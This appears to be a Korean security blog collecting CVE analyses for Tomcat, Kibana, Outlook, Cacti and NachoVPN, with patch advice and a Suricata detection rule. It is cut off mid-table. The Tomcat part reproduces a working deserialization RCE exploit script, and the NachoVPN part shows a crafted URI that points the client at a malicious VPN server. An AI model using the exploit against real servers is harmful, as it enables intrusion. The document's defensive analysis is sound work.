1. CVE-2025-24813

[사진 1] CVE-2025-24813 [1]

- Apache Tomcat에서 발생하는 원격 코드 실행 취약점 (CVSS : 9.8)

> Partial PUT 기능과 기본 서블릿에 대한 쓰기 권한이 결합되어 발생

> 공격자는 취약점을 악용해 원격 코드 실행, 정보 유출 및 손상 등의 악성 행위를 수행할 수 있음

 

- 영향받는 버전

> Apache Tomcat 9.0.0.M1 ~ 9.0.98
> Apache Tomcat 10.1.0-M1 ~ 10.1.34
> Apache Tomcat 11.0.0-M1 ~ 11.0.2

 

- 취약점을 악용하기 위한 4가지의 전제 조건

> 다음 4가지 조건 모두를 만족해야 취약점이 발생

쓰기 가능한 Default Servlet

> Default 비활성화

부분 PUT (Partial PUT) 지원

> Default 활성화

파일 기반 세션 지속성

> 기본 위치에서 파일 기반 세션 지속성 사용

취약한 역직렬화 라이브러리 사용

> 역직렬화에 취약한 라이브러리 포함 

2. PoC

- docker를 활용해 취약한 tomcat 환경 구축 [2][3]

> tomcat 설정 변경

구분 설명
conf/web.xml - Default Servlet에 readonly 파라미터 추가 : 쓰기 가능하도록 설정
conf/context.xml - 파일 기반 세션 지속성 활성화

※ 참고 : 일부 분석 보고서에서는 다음과 같이 변경한 것으로 확인 [4]

※ docker 실행 중 버전 오류가 발생해 docker-compose.yml 내용 변경 (version 3.8 -> 3,3)

[사진 2] 정상 접근 확인

- 공개된 PoC를 활용해 공격 [5]

① 대상 서버로 PUT 요청을 보내 서버가 쓰기 가능한지 확인

> check_writable_servlet()를 사용하며 200 또는 201 응답을 반환할 경우 쓰기 가능한 것으로 판단

※ 200 : 서버가 요청을 정상적으로 처리하였음을 나타냄

※ 201 : 서버가 요청을 정상적으로 처리하였고, 자원이 생성되었음을 나타냄

② 쓰기 가능한 경우 역직렬화 페이로드 생성

③ 대상 서버에 Partial PUT 요청을 전송

> upload_and_verify_payload()를 사용하며, 409 응답일 경우 대상 URL로 GET 요청을 보내며 500 응답을 받은 경우 성공한 것으로 판단

※ 409 : 서버의 현재 상태와 요청이 충돌했음을 나타냄

※ 500 : 서버가 사용자의 요청을 처리하는 과정에서 예상하지 못한 오류로 요청을 완료하지 못함을 나타냄

업로드 파일 삭제

> remove_file()

import argparse
import os
import re
import requests
import subprocess
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗     ██████╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗████████╗    ██████╗  ██████╗███████╗
██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗████╗ ████║██╔════╝ ██╔══██╗╚══██╔══╝    ██╔══██╗██╔════╝██╔════╝
██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║    ██████╔╝██████╔╝██╔████╔██║██║  ███╗██████╔╝   ██║█████╗██████╔╝██║     █████╗  
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║    ██╔══██╗██╔══██╗██║╚██╔╝██║██║   ██║██╔══██╗   ██║╚════╝██╔══██╗██║     ██╔══╝  
╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝    ██████╔╝██║  ██║██║ ╚═╝ ██║╚██████╔╝██║  ██║   ██║     ██║  ██║╚██████╗███████╗
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝     ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝     ╚═╝  ╚═╝ ╚═════╝╚══════╝
"""

def remove_file(file_path):
    try:
        os.remove(file_path)
        print(f"[+] Temporary file removed: {file_path}")
    except OSError as e:
        print(f"[-] Error removing file: {str(e)}")

def check_writable_servlet(target_url, host, port, verify_ssl=True):
    check_file = f"{target_url}/check.txt"
    try:
        response = requests.put(
            check_file,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data="testdata",
            timeout=10,
            verify=verify_ssl
        )
        if response.status_code in [200, 201]:
            print(f"[+] Server is writable via PUT: {check_file}")
            return True
        else:
            print(f"[-] Server is not writable (HTTP {response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during check: {str(e)}")
        return False

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
    if not os.path.exists(ysoserial_path):
        print(f"[-] Error: {ysoserial_path} not found.")
        sys.exit(1)
    try:
        print(f"[*] Generating ysoserial payload for command: {command}")
        cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
        with open(payload_file, "wb") as f:
            subprocess.run(cmd, stdout=f, check=True)
        print(f"[+] Payload generated successfully: {payload_file}")
        return payload_file
    except (subprocess.CalledProcessError, FileNotFoundError) as e:
        print(f"[-] Error generating payload: {str(e)}")
        sys.exit(1)

def generate_java_payload(command, payload_file):
    payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
    static {{
        try {{
            String cmd = "{command}";
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {{
                output.append(line).append("\\n");
            }}
            PrintWriter out = new PrintWriter(System.out);
            out.println(output.toString());
            out.flush();
        }} catch (IOException e) {{
            e.printStackTrace();
        }}
    }}
}}
"""
    try:
        print(f"[*] Generating Java payload for command: {command}")
        with open("Exploit.java", "w") as f:
            f.write(payload_java)
        subprocess.run(["javac", "Exploit.java"], check=True)
        subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
        remove_file("Exploit.java")
        remove_file("Exploit.class")
        print(f"[+] Java payload generated successfully: {payload_file}")
        return payload_file
    except subprocess.CalledProcessError as e:
        print(f"[-] Error generating Java payload: {str(e)}")
        sys.exit(1)

def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
    exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
    try:
        with open(payload_file, "rb") as f:
            put_response = requests.put(
                exploit_url,
                headers={
                    "Host": f"{host}:{port}",
                    "Content-Length": "10000",
                    "Content-Range": "bytes 0-1000/1200"
                },
                data=f.read(),
                timeout=10,
                verify=verify_ssl
            )
        if put_response.status_code == 409:
            print(f"[+] Payload uploaded with status 409 (Conflict): {exploit_url}")
            get_response = requests.get(
                target_url,
                headers={"Cookie": "JSESSIONID=absholi7ly"},
                timeout=10,
                verify=verify_ssl
            )
            if get_response.status_code == 500:
                print(f"[+] Exploit succeeded! Server returned 500 after deserialization.")
                return True
            else:
                print(f"[-] Exploit failed. GET request returned HTTP {get_response.status_code}")
                return False
        else:
            print(f"[-] Payload upload failed: {exploit_url} (HTTP {put_response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during upload/verification: {str(e)}")
        return False
    except FileNotFoundError:
        print(f"[-] Payload file not found: {payload_file}")
        return False

def get_session_id(target_url, verify_ssl=True):
    try:
        response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
        if "JSESSIONID" in response.cookies:
            return response.cookies["JSESSIONID"]
        session_id = re.search(r"Session ID: (\w+)", response.text)
        if session_id:
            return session_id.group(1)
        else:
            print(f"[-] Session ID not found in response. Using default session ID: absholi7ly")
            return "absholi7ly"
    except requests.RequestException as e:
        print(f"[-] Error getting session ID: {str(e)}")
        sys.exit(1)

def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
    host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
    port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80" if "http://" in target_url else "443"

    session_id = get_session_id(target_url, verify_ssl)
    print(f"[*] Session ID: {session_id}")
    
    if check_writable_servlet(target_url, host, port, verify_ssl):
        payload_file = "payload.ser"
        if payload_type == "ysoserial":
            generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
        elif payload_type == "java":
            generate_java_payload(command, payload_file)
        else:
            print(f"[-] Invalid payload type: {payload_type}")
            return
        
        if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
            print(f"[+] Target {target_url} is vulnerable to CVE-2025-24813!")
        else:
            print(f"[-] Target {target_url} does not appear vulnerable or exploit failed.")
        
        remove_file(payload_file)

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2025-24813 Apache Tomcat RCE Exploit")
    parser.add_argument("target", help="Target URL (e.g., http://localhost:8081 or https://example.com)")
    parser.add_argument("--command", default="calc.exe", help="Command to execute")
    parser.add_argument("--ysoserial", default="ysoserial.jar", help="Path to ysoserial.jar")
    parser.add_argument("--gadget", default="CommonsCollections6", help="ysoserial gadget chain")
    parser.add_argument("--payload_type", choices=["ysoserial", "java"], default="ysoserial", help="Payload type (ysoserial or java)")
    parser.add_argument("--no-ssl-verify", action="store_false", help="Disable SSL verification")
    args = parser.parse_args()

    check_target(args.target, args.command, args.ysoserial, args.gadget, args.payload_type, args.no_ssl_verify)

if __name__ == "__main__":
    main()

 

- PoC 실행 결과 Server is not writable 에러가 발생

> check.txt 파일이 대상 서버에 정상적으로 생성된 것을 확인할 수 있었음

[사진 3] Server is not writable 에러 발생
[사진 4] 공격 패킷 캡쳐 및 결과

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7][8][9][10]

제품명 영향받는 버전 해결 버전
Apache Tomcat  Apache Tomcat 9.0.0.M1 ~ 9.0.98 9.0.99
Apache Tomcat 10.1.0-M1 ~ 10.1.34 10.1.35
 Apache Tomcat 11.0.0-M1 ~ 11.0.2 11.0.3

 

- 쓰기 권한 비활성화 및 부분 PUT 비활성화

> 쓰기 권한 비활성화 : conf/web.xml에서 readonly 매개변수 true 설정

> 부분 PUT 비활성화 : allowPartialPut 매개변수 false 설정

[사진 5] conf/web.xml 중 allowPartialPut 관련 내용

- 탐지룰 적용 [11]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; content:"PUT"; http_method; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/U"; content:"Content-Range|3a 20|"; http_header; fast_pattern; pcre:"/^\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/R"; reference:url,lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq; reference:cve,2025-24813; classtype:web-application-attack; sid:2060801; rev:1; metadata:affected_product Apache_Tomcat, attack_target Server, created_at 2025_03_12, cve CVE_2025_24813, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_12, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-24813
[2] https://github.com/charis3306/CVE-2025-24813
[3] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/
[4] https://attackerkb.com/topics/4GajxQH17l/cve-2025-24813
[5] https://github.com/absholi7ly/POC-CVE-2025-24813
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71687&menuNo=205020
[7] https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
[8] https://tomcat.apache.org/security-9.html
[9] https://tomcat.apache.org/security-10.html
[10] https://tomcat.apache.org/security-11.html
[11] https://asec.ahnlab.com/ko/86938/

1. Kibana

- ELK의 구성 요소 중 하나로, 데이터 시각화 및 분석을 위한 오픈 소스 도구 [1]

- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공

- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌

[사진 1] Kibana 예시

1.1 ELK

- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]

> Beats : 데이터 수집 담당

※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음

> Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구

> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계

> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용

[사진 2] ELK

2. CVE-2025-25015

[사진 3] CVE-2025-25015 [3]

- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)

> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음

※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침

※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지

영향받는 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만
※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음

※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는
사용자만 취약점을 악용할 수 있음

 

- 벤더사 제공 최신 보안 업데이트 적용 [4][5]

제품명 영향받는 버전 해결 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만 8.17.3

 

- 즉시 업데이트가 불가한 경우 권고

> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정

 

2.1 Prototype Pollution (프로토타입 오염) [6][7]

- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음

> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음

 

- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어

> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘

> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음

> 주요 특징

① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨

② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음

③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색

 

- 프로토타입은 체인 (Prototype Chain)

> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조

> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨

> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환

> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음

const grandparent = { familyName: "Kim" };
const parent = Object.create(grandparent); // parent의 프로토타입을 grandparent로 설정
const child = Object.create(parent); // child의 프로토타입을 parent로 설정

console.log(child.familyName); // "Kim"

[사진 4] Prototype Chain 테스트 [8]

- 공격자는 JavaScript의 프로토타입을 조작모든 객체에 악성 속성을 추가할 수 있음

> Object.prototype을 변경하면 모든 객체에 영향을 줄 수 있음

> __proto__, prototype 등의 속성을 사용해 Object.prototype을 변경할 수 있음

// 프로토타입 오염 전 상태 확인
console.log("프로토타입 오염 전 Object.prototype:");
console.log(Object.prototype.isAdmin); // undefined

// 프로토타입 오염 공격
Object.prototype.isAdmin = true; // true로 설정

// 프로토타입 오염 후 Object.prototype 상태 확인
console.log("\n프로토타입 오염 후 Object.prototype:");
console.log(Object.prototype.isAdmin); // true

// 프로토타입 오염 후 객체 생성 및 속성 확인
let obj = {};
console.log("\n오염된 프로토타입을 상속받은 객체:");
console.log(obj.isAdmin); // true

[사진 5] 오염 전 후 비교 [8]

2.2 대응 방안

① 사용자 입력 값 검증

> Object.prototype, proto 등 특정한 키워드를 필터링하고 안전한 데이터만 허용하도록 검증

 

② Object.create(null) 사용

> 프로토타입이 없는 객체를 생성 즉, Object.prototype을 상속받지 않으므로 프로토타입 오염 공격의 영향을 받지 않음

 

③ Object.freeze() 또는 Object.seal() 사용

> Object.freeze() : 객체의 변경을 막는 함수_객체의 속성 추가, 수정, 삭제를 할 수 없음

> Object.seal() : 객체의 변경을 막는 함수_ 객체의 속성 추가, 수정, 삭제를 할 수 없음, 단, 쓰기 가능한 속성의 값은 변경 가능

 

④ 정기적인 보안 업데이트 및 시큐어 코딩

> 사용하는 라이브러리 및 프레임워크의 보안 업데이트를 정기적으로 확인 및 적용

> 애플리케이션의 보안 취약점 정기적 점검

> 시큐어 코딩 및 코드 리뷰를 통해 잠재적 보안 문제 사전 발견 등

3. 참고

[1] https://www.elastic.co/kibana
[2] https://idkim97.github.io/2024-04-19-Kibana(%ED%82%A4%EB%B0%94%EB%82%98)%EB%9E%80/
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25015
[4] https://discuss.elastic.co/t/kibana-8-17-3-security-update-esa-2025-06/375441/1
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71670&menuNo=205020
[6] https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript
[7] https://www.igloo.co.kr/security-information/prototype-pollution-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EA%B3%B5%EA%B2%A9%EC%82%AC%EB%A1%80-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/
[8] https://www.mycompiler.io/ko/new/nodejs

1. Protected View

[사진 1] Protected View

- MS Office의 기능으로, 사용자 PC의 안전을 위해 외부 콘텐츠를 차단하는 기능 [1]

> 안전하지 않은 출처에서 가져온 파일을 읽기 전용 또는 제한된 보기로 실행

> Outlook의 경우 의심되는 하이퍼링크 등이 포함된 경우 [사진 1]과 같은 경고창을 띄움

> 사용자가 "편집 사용" 등의 버튼을 클릭해 제한된 보기를 해제하고 문서를 편집할 수 있음

2. 주요내용

[사진 2] CVE-2024-21413 [2]

- MS Outlook에서 발생하는 원격 명령 실행 취약점 (CVSS : 9.8)

> 취약점 발견 당시 Zero-Day 취약점이었으나, 현재는 보안 패치가 발표된 상태

> CISA는 해당 취약점이 현재 실제 공격에 악용되고 있음을 경고하며 패치 적용을 권고

영향받는 버전
- Microsoft Office 2016 (32-bit editions, 64-bit editions)
- Microsoft Office 2019 (32-bit editions, 64-bit editions)
- Microsoft Office LTSC 2021 (32-bit editions, 64-bit editions)
- Microsoft 365 Apps for Enterprise (32-bit editions, 64-bit editions)


- Outlook에서는 하이퍼링크를 사용하여 파일을 첨부할 수 있음

> 하이퍼링크의 file:// 구문(Ex. file://///Server IP/example.rtf)을 사용하여 Moniker를 악용함으로써 특정 개체를 직접 로드하도록 유도

> Outlook에서 하이퍼링크를 통해 파일에 엑세스를 시도하면 해당 동작을 차단하고 오류 메세지를 띄움

[사진 3] file://///Server IP/example.rtf에 대한 Protected View 오류 메세지

- Moniker Links에 "!"를 추가하게 되면, Single Moniker에서 Composite Moniker로 변경되어 처리

> 이때, 메일 내 링크를 처리하는 과정에서 입력 값 검증이 제대로 이루어지지 않아 취약점이 발생

> Ex. file://///Server IP/example.rtf!Additionaltext

① Moniker 링크 구문 분석

> Outlook이 링크를 만나면 MkParseDisplayName( ) 호출

> Composite Moniker를 FileMoniker 및 ItemMoniker로 구문 분석

※ FileMoniker : //Server IP/example.rtf

※ ItemMoniker : Additionaltext

② COM 객체 조회

> 구문 분석된 요소는 해당 COM 객체를 조회

> .rtf 파일의 COM 개체를 검색하여 지정된 추가 항목(Additionaltext)을 처리

③ 임의 코드 실행

> .rtf 파일을 열고 분석한 후의 동작은 Additionaltext 부분에 따라 달라짐

> 콘텐츠가 악의적으로 제작된 경우 임의의 코드가 실행될 가능성 존재

[사진 4] 과정 요약

- 취약점 시연 영상에서는 Impacket을 사용해 SMB 프로토콜을 통한 NTLM 자격증명 탈취

> Impacket : Python 기반의 네트워크 공격 및 침투 테스트 도구 모음으로, SMB, NTLM, Kerberos, LDAP 등 다양한 네트워크 프로토콜을 다룰 수 있는 라이브러리

> 공격자가 제어하는 서버에 위치한 파일에 엑세스 하기위해 SMB 프로토콜이 사용되며, 이때 NTLM 인증이 발생

[영상 1] 공격 시연 [3]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [4]

영향받는 버전 해결 버전
Microsoft Office 2016 (32-bit editions, 64-bit editions) 버전 16.0.5435.1000 이상으로 업데이트
Microsoft Office 2019 (32-bit editions, 64-bit editions) 버전 19.0.0 이상으로 업데이트
Microsoft Office LTSC 2021 (32-bit editions, 64-bit editions) 버전 16.0.1 이상으로 업데이트
Microsoft 365 Apps for Enterprise (32-bit editions, 64-bit editions) 버전 16.0.1 이상으로 업데이트

4. 참고

[1] https://support.microsoft.com/ko-kr/office/%EC%A0%9C%ED%95%9C%EB%90%9C-%EB%B3%B4%EA%B8%B0%EC%9D%98-%EC%A0%95%EC%9D%98-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
[2] https://nvd.nist.gov/vuln/detail/cve-2024-21413
[3] https://www.youtube.com/watch?v=rFjhBcUWXaY
[4] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413
[5] https://www.vicarius.io/vsociety/posts/monikerlink-critical-vulnerability-in-ms-outlook-cve-2024-21413
[6] https://www.dailysecu.com/news/articleView.html?idxno=163568

1. Cacti [1]

네트워크 및 시스템 성능을 모니터링하는 오픈 소스 도구
> SNMP를 기반으로 네트워크 장비, 서버, 애플리케이션 등의 성능 데이터를 수집하고, RRDTool을 사용하여 그래프 형태로 시각화

※ SNMP (Simple Network Management Protocol) : 네트워크 장비(라우터, 스위치, 서버 등)의 상태 및 성능 데이터를 수집하는 프로토콜
※ RRDTool : 시간에 따라 변화하는 데이터를 저장하고 그래프로 시각화해주는 툴

2. CVE-2025-22604

[사진 1] CVE-2025-22604 [2]

- Cacti의 다중 라인 SNMP 결과 파서의 결함으로 인해 발생하는 원격 코드 실행 취약점 (CVSS : 9.1) [3]

> OID의 일부가 시스템 명령의 일부로 사용되는 배열의 키로 사용되어 취약점이 발생

OID (Object IDentifier) [4] - SNMP는 네트워크 장비의 정보(CPU 사용량, 메모리 사용량, 포트 Up/Down 상태 등)을 MIB(Management Infomation Base)에 저장해 정보를 주고받음
-  MIB 내에 포함되어 있는 각 개별 정보(Object)에 대한 ID를 OID라 함
-  즉, CPU 사용량, 메모리 사용량, 포트 상태 등 각 정보에 대해 구분할 수 있는 ID
영향받는 버전 : Cacti <= 1.2.8

 

ss_net_snmp_disk_io() 또는 ss_net_snmp_disk_bytes()로 처리될 때 각 OID의 일부가 시스템 명령의 일부로 사용되는 배열의 키로 사용되어 취약점이 발생
> cacti_snmp_walk()에서 exec_into_array()를 사용해 명령을 실행하고 여러 줄을 배열로 사용해 결과를 읽음
> 그 후, [사진 2]의 코드를 사용해 문자 = 를 기준으로 왼쪽 값을 OID에, 오른쪽 값을 Value에 저장
> Value의 경우 필터링을 적용하지만, OID 값은 필터링 없이 사용

[사진 2] OID와 Value 분할 코드

$i=0;
foreach($temp_array as $index => $value) { // $temp_array 배열 순회
	if(preg_match('/(.*=.*/',$value)) { // $value 값이 "키=값" 형식인 경우
		$parts=explode('=',$value,2); // = 문자를 기준으로 $value를 두 부분으로 분할
		$snmp_array[$i]['oid']=trim($parts[0]); // 공백을 제거한 후 값을 oid에 저장
		$snmp_array[$i]['value']=format_snmp_string($parts[1],false,$value_output_format); // 필터링 후 value에 저장
		$i++; // 다음 배열 인덱스로 이동
	} else { // 멀티라인 값 처리
		$snmp_array[$i-1]['value'].=$value;
	}
}

3. 해결방안

- 벤더사 제공 보안 업데이트 제공

제품명 영향받는 버전 해결 버전
Cacti <= 1.2.8 1.2.29

4. 참고

[1] https://www.cacti.net/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-22604
[3] https://github.com/Cacti/cacti/security/advisories/GHSA-c5j8-jxj3-hh36
[4] https://blog.naver.com/watch_all/221698867095
[5] https://thehackernews.com/2025/01/critical-cacti-security-flaw-cve-2025.html

1. 개요

- PaloAlto GlobalProtect, SonicWall NetExtender SSL-VPN 클라이언트 등에 심각한 취약점 "NachoVPN" 발견 [1][2][3]
- 공격자가 악성 VPN 서버를 통해 피해자 기기에 악성 업데이트 설치 또는 민감한 정보를 탈취할 수 있음
- 소셜 엔지니어링 기법을 활용해 사용자를 악성 VPN 서버로 유도해 익스플로잇

2. 주요내용

2.1 CVE-2024-29014

[사진 1] CVE-2024-29014 [4]

- SonicWall의 NetExtender Windows(32 및 64비트) 클라이언트에서 발생하는 임의 코드 실행 취약점
소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 EPC 클라이언트 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전

 

- NetExtender 클라이언트는 SSL-VPN 서버에 연결하는 동안 서버에 EPC 클라이언트 업데이트가 있는지 확인하기 위한 요청 전송
> GET /cgi-bin/sslvpnclient?epcversionquery=nxw
> 서버는 버전 번호로 판단되는 값으로 응답
> 응답이 0xFF인 경우 클라이언트는 /NACAgent.exe에 대한 GET 요청을 전송

 

- NECore.dll의 ValidateSignature()에서 해당 파일이 다운로드되고 유효성을 검증

> 해당 함수는 WINTRUST_ACTION_GENERIC_VERIFY_V2 작업을 사용해 WinVerifyTrust 호출 (실행 파일에 포함된 Authenticode 서명 검증 과정)
> 그러나 실행 파일의 서명이 신뢰할 수 있는 CA와 연결되는지만 확인하며, 특정 게시자(Microsoft, Adobe, Oracle 등)에 의해 서명되었는지 확인하지 않음

> 따라서 시스템에서 신뢰하는 코드 서명 인증서로 실행 파일을 서명만 하게되면 서명 검사를 통과할 수 있음

※ 다운로드한 NACAgent.exe는 SYSTEM으로 실행되는 NEService.exe의 자식 프로세스로 실행

 

[사진 2] ValidateSignature()

- sonicwallconnectagent 사용자 정의 URI 핸들러는 SMA Connect 에이전트에 의해 Windows 레지스트리에 등록

> 핸들러는 클라이언트가 연결해야하는 서버를 지정하는 Base64로 인코딩된 JSON 개체가 포함
따라서 공격자는 host 값을 악의적인 SSL-VPN 서버의 IP를 가리키도록 sonicwallconnectagent:// URL을 제작하면 취약점 악용 가능

 

[사진 3] 레지스트리

[사용자 정의 URI 핸들러 예시]
sonicwallconnectagent://eyJhY3Rpb24iOjEwLCJoZWxwZXJ2ZXJzaW9uIjoiMS4xLjQyIiwiaG9zdCI6IjE3Mi4xNy4xMjguMSIsInBvcnQiOiI0NDMiLCJ1c2VybmFtZSI6InVzZXIiLCJleHRlbmRpZCI6IkV0UUJ2MFp3elY0OGsxRVpaQ3JMU3ZwOGJLcFh4NFRCcGVISmlmOVUxczQ9In0

[디코딩]
{ action: 10, helperversion: "1.1.42", host: "172.17.128.1", port: "443", username: "user", extendid: "EtQBv0ZwzV48k1EZZCrLSvp8bKpXx4TBpeHJif9U1s4=" }

 

- 사용자가 조작된 페이지를 방문하면 악성 SSL-VPN 서버에 연결 및 서명된 악성 NACAgent.exe 실행
> NetExtender 클라이언트에 EPC 에이전트 업데이트 필요 메시지가 표시되며, 무시 또는 확인을 누를 경우 악성 NACAgent.exe 파일이 시스템 권한으로 실행됨

 

[사진 4] 악성 SSL-VPN 접속

[영상 1] 공격 시연 [5]

2.2 CVE-2024-5921

[사진 5] CVE-2024-5921 [6]

- PaloAlto Networks GlobalProtect 앱의 불충분한 인증 유효성 검사로 임의의 서버에 연결할 수 있는 취약점
> 소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- GlobalProtect 6.2.6 이전 버전

 

- 클라이언트-서버간 인증 과정 중 클라이언트는 POST 메소드로 서버에 자격 증명을 전송
> 서버는 XML 정책 객체로 포맷된 구성 데이터로 응답

 

- GlobalProtect 클라이언트는 기본적으로 응답을 신뢰
> 유일한 검증은 서버가 해당 도메인에 대한 유효한 TLS 인증서를 가지는지 확인하고 제공된 자격증명을 수락하는 것
익스플로잇에서 root-ca, version, uninstall, client-upgrade 요소가 중요

구분 설명
root-ca - 클라이언트에 제공된 인증서를 신뢰할 수 있는 인증서 저장소에 설치하도록 지시
- GlobalProtect 게이트웨이의 IP 주소가 클라이언트가 신뢰하는 TLS 인증서를 사용할 수 있도록 하기위함
- 공격자는 인증서가 주장하는 모든 목적을 위해 컴퓨터가 완전히 신뢰하는 인증서를 설치할 수 있음 (MITM이 발생해 데이터 탈취 또는 악성 SW 서명 및 실행이 가능)
version - 클라이언트에 반환된 version 태그는 업데이트 요청이 트리커되는지 여부를 결정
- 값이 클라이언트에 현재 설치된 버전보다 높은 경우 연결 성공 시 업데이트를 요청
